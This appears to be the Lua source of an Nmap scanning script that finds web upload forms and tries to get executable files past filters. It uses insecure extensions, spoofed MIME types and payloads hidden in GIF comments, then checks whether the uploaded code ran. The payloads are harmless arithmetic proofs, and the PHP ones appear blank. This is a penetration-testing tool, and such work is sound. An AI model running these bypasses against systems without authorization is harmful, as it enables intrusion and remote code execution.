description = [[ Exploits insecure file upload forms in web applications using various techniques like changing the Content-type header or creating valid image files containing the payload in the comment. ]] --- -- @usage nmap -p80 --script http-fileupload-exploiter.nse -- -- This script discovers the upload form on the target's page and -- attempts to exploit it using 3 different methods: -- -- 1) At first, it tries to upload payloads with different insecure -- extensions. This will work against a weak blacklist used by a file -- name extension verifier. -- -- 2) If (1) doesn't work, it will try to upload the same payloads -- this time with different Content-type headers, like "image/gif" -- instead of the "text/plain". This will trick any mechanisms that -- check the MIME type. -- -- 3) If (2), doesn't work, it will create some proper GIF images -- that contain the payloads in the comment. The interpreter will -- see the executable inside some binary garbage. This will bypass -- any check of the actual content of the uploaded file. -- -- TODO: -- * Use the vulns library to report. -- -- @args http-fileupload-exploiter.formpaths The pages that contain -- the forms to exploit. For example, {/upload.php, /login.php}. -- Default: nil (crawler mode on) -- @args http-fileupload-exploiter.uploadspaths Directories with -- the uploaded files. For example, {/avatars, /photos}. Default: -- {'/uploads', '/upload', '/file', '/files', '/downloads'} -- @args http-fileupload-exploiter.fieldvalues The script will try to -- fill every field found in the upload form but that may fail -- due to fields' restrictions. You can manually fill those -- fields using this table. For example, {gender = "male", email -- = "foo@bar.com"}. Default: {} -- -- @output -- PORT STATE SERVICE REASON -- 80/tcp open http syn-ack -- | Testing page /post.html -- | -- | Successfully uploaded and executed payloads: -- | Filename: 1.php, MIME: text/plain -- |_ Filename: 1.php3, MIME: text/plain --- categories = {"intrusive", "exploit", "vuln"} author = "George Chatzisofroniou" license = "Same as Nmap--See https://nmap.org/book/man-legal.html" local http = require "http" local io = require "io" local string = require "string" local httpspider = require "httpspider" local shortport = require "shortport" local stdnse = require "stdnse" local table = require "table" portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open") -- A list of payloads. The interpreted code in the 'content' variable should -- output the result in the 'check' variable. -- -- You can manually add / remove your own payloads but make sure you -- don't mess up, otherwise the script may succeed when it actually -- hasn't. -- -- Note, that more payloads will slow down your scan significantly. payloads = { { filename = "1.php", content = "", check = "777777" }, { filename = "1.php3", content = "", check = "777777" }, -- { filename = "1.php4", content = "", check = "777777" }, -- { filename = "1.shtml", content = "", check = "777777" }, -- { filename = "1.py", content = "print 123456 + 654321", check = "777777" }, -- { filename = "1.pl", content = "print 123456 + 654321", check = "777777" }, -- { filename = "1.sh", content = "echo 123456 + 654321", check = "777777" }, -- { filename = "1.jsp", content = "<%= 123456 + 654321 %>", check = "777777" }, -- { filename = "1.asp", content = "<%= 123456 + 654321 %>", check = "777777" }, } listofrequests = {} -- Escape for jsp and asp payloads. local escape = function(s) return (s:gsub('%%', '%%%%')) end -- Represents an upload-request. local function UploadRequest(host, port, submission, partofrequest, name, filename, mime, payload, check) local request = { host = host; port = port; submission = submission; mime = mime; name = name; filename = filename; partofrequest = partofrequest; payload = payload; check = check; uploadedpaths = {}; success = 0; make = function(self) local options = { header={} } options['header']['Content-Type'] = "multipart/form-data; boundary=AaB03x" options['content'] = self.partofrequest .. '--AaB03x\nContent-Disposition: form-data; name="' .. self.name .. '"; filename="' .. self.filename .. '"\nContent-Type: ' .. self.mime .. '\n\n' .. self.payload .. '\n--AaB03x--' stdnse.debug2("Making a request: Header: " .. options['header']['Content-Type'] .. "\nContent: " .. escape(options['content'])) local response = http.post(self.host, self.port, self.submission, options, { no_cache = true }) return response.body end; checkPayload = function(self, uploadspaths) for _, uploadpath in ipairs(uploadspaths) do local response = http.get(host, port, uploadpath .. '/' .. filename, { no_cache = true } ) if response.status ~= 404 then if (response.body:match(self.check)) then self.success = 1 table.insert(self.uploadedpaths, uploadpath) end end end end; } table.insert(listofrequests, request) return request end -- Create customized requests for all of our payloads. local buildRequests = function(host, port, submission, name, mime, partofrequest, uploadspaths, image) for i, p in ipairs(payloads) do if image then p['content'] = string.gsub(image, '!!comment!!', escape(p['content']), 1, true) end UploadRequest(host, port, submission, partofrequest, name, p['filename'], mime, p['content'], p['check']) end end -- Make the requests that we previously created with buildRequests() -- Check if the payloads were successful by checking the content of pages in the uploadspaths array. local makeAndCheckRequests = function(uploadspaths) local exit = 0 local output = {"Successfully uploaded and executed payloads: "} for i=1, #listofrequests, 1 do listofrequests[i]:make() listofrequests[i]:checkPayload(uploadspaths) if (listofrequests[i].success == 1) then exit = 1 table.insert(output, " Filename: " .. listofrequests[i].filename .. ", MIME: " .. listofrequests[i].mime .. ", Uploaded on: ") for _, uploadedpath in ipairs(listofrequests[i].uploadedpaths) do table.insert(output, uploadedpath .. "/" .. listofrequests[i].filename) end end end if exit == 1 then return output end listofrequests = {} end local prepareRequest = function(fields, fieldvalues) local filefield = 0 local req = {} local value for _, field in ipairs(fields) do if field["type"] == "file" then -- FIXME: What if there is more than one ? filefield = field elseif field["type"] == "text" or field["type"] == "textarea" or field["type"] == "radio" or field["type"] == "checkbox" then if fieldvalues[field["name"]] ~= nil then value = fieldvalues[field["name"]] else value = "SampleData0" end req[#req+1] = ('--AaB03x\nContent-Disposition: form-data; name="%s";\n\n%s\n'):format(field["name"], value) end end return table.concat(req), filefield end action = function(host, port) local formpaths = stdnse.get_script_args("http-fileupload-exploiter.formpaths") local uploadspaths = stdnse.get_script_args("http-fileupload-exploiter.uploadspaths") or {'/uploads', '/upload', '/file', '/files', '/downloads'} local fieldvalues = stdnse.get_script_args("http-fileupload-exploiter.fieldvalues") or {} local returntable = {} local result local foundform = 0 local foundfield = 0 local fail = 0 local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME } ) if (not(crawler)) then return end crawler:set_timeout(10000) local index, k, target, response while (true) do if formpaths then k, target = next(formpaths, index) if (k == nil) then break end response = http.get(host, port, target) else local status, r = crawler:crawl() -- if the crawler fails it can be due to a number of different reasons -- most of them are "legitimate" and should not be reason to abort if ( not(status) ) then if ( r.err ) then return stdnse.format_output(false, r.reason) else break end end target = tostring(r.url) response = r.response end if response.body then local forms = http.grab_forms(response.body) for i, form in ipairs(forms) do form = http.parse_form(form) if form and form.action then local action_absolute = string.find(form["action"], "https*://") -- Determine the path where the form needs to be submitted. local submission if action_absolute then submission = form["action"] else local path_cropped = string.match(target, "(.*/).*") path_cropped = path_cropped and path_cropped or "" submission = path_cropped..form["action"] end foundform = 1 local partofrequest, filefield = prepareRequest(form["fields"], fieldvalues) if filefield ~= 0 then foundfield = 1 -- Method (1). buildRequests(host, port, submission, filefield["name"], "text/plain", partofrequest, uploadspaths) result = makeAndCheckRequests(uploadspaths) if result then table.insert(returntable, result) break end -- Method (2). buildRequests(host, port, submission, filefield["name"], "image/gif", partofrequest, uploadspaths) buildRequests(host, port, submission, filefield["name"], "image/png", partofrequest, uploadspaths) buildRequests(host, port, submission, filefield["name"], "image/jpeg", partofrequest, uploadspaths) result = makeAndCheckRequests(uploadspaths) if result then table.insert(returntable, result) break end -- Method (3). local inp = assert(io.open("nselib/data/pixel.gif", "rb")) local image = inp:read("*all") buildRequests(host, port, submission, filefield["name"], "image/gif", partofrequest, uploadspaths, image) result = makeAndCheckRequests(uploadspaths) if result then table.insert(returntable, result) else fail = 1 end end else table.insert(returntable, {"Couldn't find a file-type field."}) end end end if fail == 1 then table.insert(returntable, {"Failed to upload and execute a payload."}) end if (index) then index = index + 1 else index = 1 end end return returntable end